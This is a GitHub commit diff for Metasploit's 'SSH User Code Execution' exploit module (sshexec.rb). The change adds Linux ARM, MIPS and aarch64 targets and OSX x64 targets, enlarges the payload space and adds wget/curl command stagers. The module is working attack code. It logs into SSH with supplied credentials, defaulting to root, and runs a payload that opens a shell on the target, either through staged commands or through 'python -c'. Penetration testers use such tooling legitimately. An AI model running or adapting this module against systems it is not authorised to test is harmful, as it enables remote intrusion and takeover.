Skip to content

Commit 682c915

Browse files
committed
Land rapid7#9267, Add targets to sshexec
2 parents e927c97 + 4c11eae commit 682c915

File tree

1 file changed

+68
-24
lines changed

1 file changed

+68
-24
lines changed

modules/exploits/multi/ssh/sshexec.rb

Lines changed: 68 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -16,11 +16,11 @@ class MetasploitModule < Msf::Exploit::Remote
1616
def initialize
1717
super(
1818
'Name' => 'SSH User Code Execution',
19-
'Description' => %q{
19+
'Description' => %q(
2020
This module connects to the target system and executes the necessary
2121
commands to run the specified payload via SSH. If a native payload is
2222
specified, an appropriate stager will be used.
23-
},
23+
),
2424
'Author' => ['Spencer McIntyre', 'Brandon Knight'],
2525
'References' =>
2626
[
@@ -35,39 +35,82 @@ def initialize
3535
},
3636
'Payload' =>
3737
{
38-
'Space' => 4096,
38+
'Space' => 800000,
3939
'BadChars' => "",
4040
'DisableNops' => true
4141
},
42-
'Platform' => %w{ linux osx python },
42+
'Platform' => %w[linux osx python],
43+
'CmdStagerFlavor' => %w[bourne echo printf wget],
4344
'Targets' =>
4445
[
45-
[ 'Linux x86',
46+
[
47+
'Linux x86',
4648
{
4749
'Arch' => ARCH_X86,
4850
'Platform' => 'linux'
4951
}
5052
],
51-
[ 'Linux x64',
53+
[
54+
'Linux x64',
5255
{
5356
'Arch' => ARCH_X64,
5457
'Platform' => 'linux'
5558
}
5659
],
57-
[ 'OSX x86',
60+
[
61+
'Linux armle',
5862
{
59-
'Arch' => ARCH_X86,
60-
'Platform' => 'osx'
63+
'Arch' => ARCH_ARMLE,
64+
'Platform' => 'linux'
65+
}
66+
],
67+
[
68+
'Linux mipsle',
69+
{
70+
'Arch' => ARCH_MIPSLE,
71+
'Platform' => 'linux',
72+
'CmdStagerFlavor' => %w[curl wget]
6173
}
6274
],
63-
[ 'Python',
75+
[
76+
'Linux mipsbe',
77+
{
78+
'Arch' => ARCH_MIPSBE,
79+
'Platform' => 'linux',
80+
'CmdStagerFlavor' => %w[wget]
81+
}
82+
],
83+
[
84+
'Linux aarch64',
85+
{
86+
'Arch' => ARCH_AARCH64,
87+
'Platform' => 'linux'
88+
}
89+
],
90+
[
91+
'OSX x86',
92+
{
93+
'Arch' => ARCH_X86,
94+
'Platform' => 'osx',
95+
'CmdStagerFlavor' => %w[curl wget]
96+
}
97+
],
98+
[
99+
'OSX x64',
100+
{
101+
'Arch' => ARCH_X64,
102+
'Platform' => 'osx',
103+
'CmdStagerFlavor' => %w[curl wget]
104+
}
105+
],
106+
[
107+
'Python',
64108
{
65109
'Arch' => ARCH_PYTHON,
66110
'Platform' => 'python'
67111
}
68112
]
69113
],
70-
'CmdStagerFlavor' => %w{ bourne echo printf },
71114
'DefaultTarget' => 0,
72115
# For the CVE
73116
'DisclosureDate' => 'Jan 01 1999'
@@ -77,7 +120,7 @@ def initialize
77120
[
78121
OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
79122
OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
80-
OptString.new('RHOST', [ true, "The target address" ]),
123+
Opt::RHOST(),
81124
Opt::RPORT(22)
82125
], self.class
83126
)
@@ -92,26 +135,28 @@ def initialize
92135
def execute_command(cmd, opts = {})
93136
vprint_status("Executing #{cmd}")
94137
begin
95-
Timeout.timeout(3) do
138+
Timeout.timeout(5) do
96139
self.ssh_socket.exec!("#{cmd}\n")
97140
end
98-
rescue ::Exception
141+
rescue Timeout::Error
142+
print_error("SSH Timeout Exception will say the Exploit Failed; do not believe it.")
143+
print_good("You will likely still get a shell; run sessions -l to be sure.")
99144
end
100145
end
101146

102147
def do_login(ip, user, pass, port)
103148
factory = ssh_socket_factory
104149
opt_hash = {
105-
:auth_methods => ['password', 'keyboard-interactive'],
106-
:port => port,
107-
:use_agent => false,
108-
:config => false,
109-
:password => pass,
110-
:proxy => factory,
111-
:non_interactive => true
150+
auth_methods: ['password', 'keyboard-interactive'],
151+
port: port,
152+
use_agent: false,
153+
config: false,
154+
password: pass,
155+
proxy: factory,
156+
non_interactive: true
112157
}
113158

114-
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
159+
opt_hash[:verbose] = :debug if (datastore['SSH_DEBUG'])
115160

116161
begin
117162
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
@@ -133,12 +178,11 @@ def do_login(ip, user, pass, port)
133178

134179
def exploit
135180
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
136-
137181
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")
138182
if target['Platform'] == 'python'
139183
execute_command("python -c \"#{payload.encoded}\"")
140184
else
141-
execute_cmdstager({:linemax => 500})
185+
execute_cmdstager(linemax: 500)
142186
end
143187

144188
self.ssh_socket.close

0 commit comments

Comments
 (0)